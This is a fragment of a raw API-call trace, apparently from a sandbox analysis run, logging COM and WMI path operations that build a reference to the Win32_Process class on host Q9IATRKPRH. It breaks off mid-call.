[0162.098] WbemDefPath:IWbemPath:SetText (This=0x1aa0ad10, uMode=0x4, pszPath="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0162.098] IWbemClassObject:Get (in: This=0x1bb92630, wszName="__SERVER", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=0, plFlavor=0x1bb7e688*=0 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0162.098] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0162.098] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0162.098] IWbemClassObject:Get (in: This=0x1bb92630, wszName="__NAMESPACE", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="ROOT\\CIMV2", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0162.098] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0162.098] SysStringByteLen (bstr="ROOT\\CIMV2") returned 0x14 [0162.098] IWbemClassObject:Get (in: This=0x1bb92630, wszName="__CLASS", lFlags=0, pVal=0x1bb7e530*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64 | out: pVal=0x1bb7e530*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_Process", varVal2=0x0), pType=0x1bb7e690*=8, plFlavor=0x1bb7e688*=64) returned 0x0 [0162.099] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0162.099] SysStringByteLen (bstr="Win32_Process") returned 0x1a [0162.099] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0162.099] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0162.099] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0162.099] IUnknown:Release (This=0x1a943398) returned 0x1 [0162.101] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bce61a0) returned 0x0 [0162.101] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce61a0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0162.101] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce61a0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1aa0a890) returned 0x0 [0162.101] WbemDefPath:IUnknown:Release (This=0x1bce61a0) returned 0x0 [0162.101] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a890, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1aa0a890) returned 0x0 [0162.101] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a890, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0162.102] WbemDefPath:IUnknown:AddRef (This=0x1aa0a890) returned 0x3 [0162.102] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a890, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0162.102] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a890, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0162.102] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a890, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bce5ec0) returned 0x0 [0162.102] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce5ec0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0162.102] WbemDefPath:IUnknown:Release (This=0x1bce5ec0) returned 0x3 [0162.102] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0162.102] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0162.102] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a890, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0162.102] WbemDefPath:IUnknown:Release (This=0x1aa0a890) returned 0x2 [0162.102] WbemDefPath:IUnknown:Release (This=0x1aa0a890) returned 0x1 [0162.102] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0162.102] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0162.102] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0a890, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1aa0a890) returned 0x0 [0162.102] WbemDefPath:IUnknown:AddRef (This=0x1aa0a890) returned 0x3 [0162.102] WbemDefPath:IUnknown:Release (This=0x1aa0a890) returned 0x2 [0162.103] WbemDefPath:IWbemPath:SetText (This=0x1aa0a890, uMode=0x4, pszPath="") returned 0x0 [0162.103] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0162.103] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0162.103] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0162.103] IUnknown:Release (This=0x1a943398) returned 0x1 [0162.105] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bce61a0) returned 0x0 [0162.105] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce61a0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0162.105] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce61a0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1aa0ab90) returned 0x0 [0162.105] WbemDefPath:IUnknown:Release (This=0x1bce61a0) returned 0x0 [0162.105] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ab90, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1aa0ab90) returned 0x0 [0162.105] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ab90, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0162.106] WbemDefPath:IUnknown:AddRef (This=0x1aa0ab90) returned 0x3 [0162.106] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ab90, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0162.106] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ab90, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0162.106] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ab90, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bce6200) returned 0x0 [0162.106] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce6200, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0162.106] WbemDefPath:IUnknown:Release (This=0x1bce6200) returned 0x3 [0162.106] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0162.106] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0162.106] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ab90, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0162.106] WbemDefPath:IUnknown:Release (This=0x1aa0ab90) returned 0x2 [0162.106] WbemDefPath:IUnknown:Release (This=0x1aa0ab90) returned 0x1 [0162.106] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0162.106] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0162.106] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0ab90, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1aa0ab90) returned 0x0 [0162.106] WbemDefPath:IUnknown:AddRef (This=0x1aa0ab90) returned 0x3 [0162.106] WbemDefPath:IUnknown:Release (This=0x1aa0ab90) returned 0x2 [0162.106] WbemDefPath:IWbemPath:SetText (This=0x1aa0ab90, uMode=0x4, pszPath="") returned 0x0 [0162.106] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0ab90, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0162.106] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0a890, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0162.106] WbemDefPath:IWbemPath:GetClassName (in: This=0x1aa0ab90, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0162.106] WbemDefPath:IWbemPath:GetServer (in: This=0x1aa0ab90, puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e5d8*=0x0, pName=0x0) returned 0x80041009 [0162.107] WbemDefPath:IWbemPath:SetServer (This=0x1aa0ab90, Name="Q9IATRKPRH") returned 0x0 [0162.107] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e498 | out: ppv=0x1bb7e498*=0x1a943398) returned 0x0 [0162.107] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e488 | out: pAptType=0x1bb7e488*=1) returned 0x0 [0162.107] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e490 | out: ppvObject=0x1bb7e490*=0x0) returned 0x80004002 [0162.107] IUnknown:Release (This=0x1a943398) returned 0x1 [0162.109] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d8b0 | out: ppv=0x1bb7d8b0*=0x1bce6220) returned 0x0 [0162.109] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bce6220, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d8f8 | out: ppvObject=0x1bb7d8f8*=0x0) returned 0x80004002 [0162.109] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bce6220, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8a8 | out: ppvObject=0x1bb7d8a8*=0x1aa0aa10) returned 0x0 [0162.109] WbemDefPath:IUnknown:Release (This=0x1bce6220) returned 0x0 [0162.109] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0aa10, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d6b8 | out: ppvObject=0x1bb7d6b8*=0x1aa0aa10) returned 0x0 [0162.109] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0aa10, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d760 | out: ppvObject=0x1bb7d760*=0x0) returned 0x80004002 [0162.109] WbemDefPath:IUnknown:AddRef (This=0x1aa0aa10) returned 0x3 [0162.109] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0aa10, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7ce08 | out: ppvObject=0x1bb7ce08*=0x0) returned 0x80004002 [0162.110] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0aa10, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cd90 | out: ppvObject=0x1bb7cd90*=0x0) returned 0x80004002 [0162.110] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0aa10, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cd80 | out: ppvObject=0x1bb7cd80*=0x1bce6260) returned 0x0 [0162.110] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bce6260, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cda8 | out: pCid=0x1bb7cda8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0162.110] WbemDefPath:IUnknown:Release (This=0x1bce6260) returned 0x3 [0162.110] CoGetContextToken (in: pToken=0x1bb7ce30 | out: pToken=0x1bb7ce30) returned 0x0 [0162.110] CoGetContextToken (in: pToken=0x1bb7d2b0 | out: pToken=0x1bb7d2b0) returned 0x0 [0162.110] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0aa10, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d370 | out: ppvObject=0x1bb7d370*=0x0) returned 0x80004002 [0162.110] WbemDefPath:IUnknown:Release (This=0x1aa0aa10) returned 0x2 [0162.110] WbemDefPath:IUnknown:Release (This=0x1aa0aa10) returned 0x1 [0162.110] CoGetContextToken (in: pToken=0x1bb7e0d0 | out: pToken=0x1bb7e0d0) returned 0x0 [0162.110] CoGetContextToken (in: pToken=0x1bb7dfd0 | out: pToken=0x1bb7dfd0) returned 0x0 [0162.110] WbemDefPath:IUnknown:QueryInterface (in: This=0x1aa0aa10, riid=0x1bb7e130*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e100 | out: ppvObject=0x1bb7e100*=0x1aa0aa10) returned 0x0 [0162.110] WbemDefPath:IUnknown:AddRef (This=0x1aa0aa10) returned 0x3 [0162.110] WbemDefPath:IUnknown:Release (This=0x1aa0aa10) returned 0x2 [0162.110] WbemDefPath:IWbemPath:SetText (This=0x1aa0aa10, uMode=0x4, pszPath="ROOT\\CIMV2") returned 0x0 [0162.110] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0ab90, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x0) returned 0x0 [0162.110] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0aa10, puCount=0x1bb7e540 | out: puCount=0x1bb7e540*=0x2) returned 0x0 [0162.110] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0aa10, lFlags=16, puBuffLength=0x1bb7e538*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e538*=0xb, pszText=0x0) returned 0x0 [0162.110] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0aa10, lFlags=16, puBuffLength=0x1bb7e538*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e538*=0xb, pszText="ROOT\\CIMV2") returned 0x0 [0162.110] WbemDefPath:IWbemPath:RemoveAllNamespaces (This=0x1aa0ab90) returned 0x0 [0162.111] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0aa10, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0162.111] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0aa10, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x5, pName=0x0) returned 0x0 [0162.111] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0aa10, uIndex=0x0, puNameBufLength=0x1bb7e598*=0x5, pName="0000" | out: puNameBufLength=0x1bb7e598*=0x5, pName="ROOT") returned 0x0 [0162.111] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1aa0ab90, uIndex=0x0, pszName="ROOT") returned 0x0 [0162.111] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0aa10, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x0, pName=0x0 | out: puNameBufLength=0x1bb7e598*=0x6, pName=0x0) returned 0x0 [0162.111] WbemDefPath:IWbemPath:GetNamespaceAt (in: This=0x1aa0aa10, uIndex=0x1, puNameBufLength=0x1bb7e598*=0x6, pName="00000" | out: puNameBufLength=0x1bb7e598*=0x6, pName="CIMV2") returned 0x0 [0162.111] WbemDefPath:IWbemPath:SetNamespaceAt (This=0x1aa0ab90, uIndex=0x1, pszName="CIMV2") returned 0x0 [0162.111] WbemDefPath:IWbemPath:GetClassName (in: This=0x1aa0ab90, puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0 | out: puBuffLength=0x1bb7e5d8*=0x0, pszName=0x0) returned 0x8004103a [0162.111] WbemDefPath:IWbemPath:SetClassName (This=0x1aa0ab90, Name="Win32_Process") returned 0x0 [0162.111] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0ab90, uRequestedInfo=0x0, puResponse=0x1bb7e6b8 | out: puResponse=0x1bb7e6b8*=0x20c16) returned 0x0 [0162.111] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0ab90, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0162.111] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0ab90, lFlags=4, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x26, pszText=0x0) returned 0x0 [0162.111] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0ab90, lFlags=4, puBuffLength=0x1bb7e608*=0x26, pszText="0000000000000000000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x26, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2:Win32_Process") returned 0x0 [0162.111] WbemDefPath:IWbemPath:GetInfo (in: This=0x1aa0ab90, uRequestedInfo=0x0, puResponse=0x1bb7e628 | out: puResponse=0x1bb7e628*=0x20c16) returned 0x0 [0162.111] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0ab90, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0162.111] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0ab90, lFlags=8, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0x18, pszText=0x0) returned 0x0 [0162.111] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0ab90, lFlags=8, puBuffLength=0x1bb7e608*=0x18, pszText="00000000000000000000000" | out: puBuffLength=0x1bb7e608*=0x18, pszText="\\\\Q9IATRKPRH\\ROOT\\CIMV2") returned 0x0 [0162.111] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1aa0add0, puCount=0x1bb7e610 | out: puCount=0x1bb7e610*=0x2) returned 0x0 [0162.111] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0add0, lFlags=16, puBuffLength=0x1bb7e608*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e608*=0xb, pszText=0x0) returned 0x0 [0162.111] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0add0, lFlags=16, puBuffLength=0x1bb7e608*=0xb, pszText="0000000000" | out: puBuffLength=0x1bb7e608*=0xb, pszText="root\\cimv2") returned 0x0 [0162.111] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0ab90, lFlags=2, puBuffLength=0x1bb7e618*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e618*=0xe, pszText=0x0) returned 0x0 [0162.112] WbemDefPath:IWbemPath:GetText (in: This=0x1aa0ab90, lFlags=2, puBuffLength=0x1bb7e618*=0xe, pszText="0000000000000" | out: 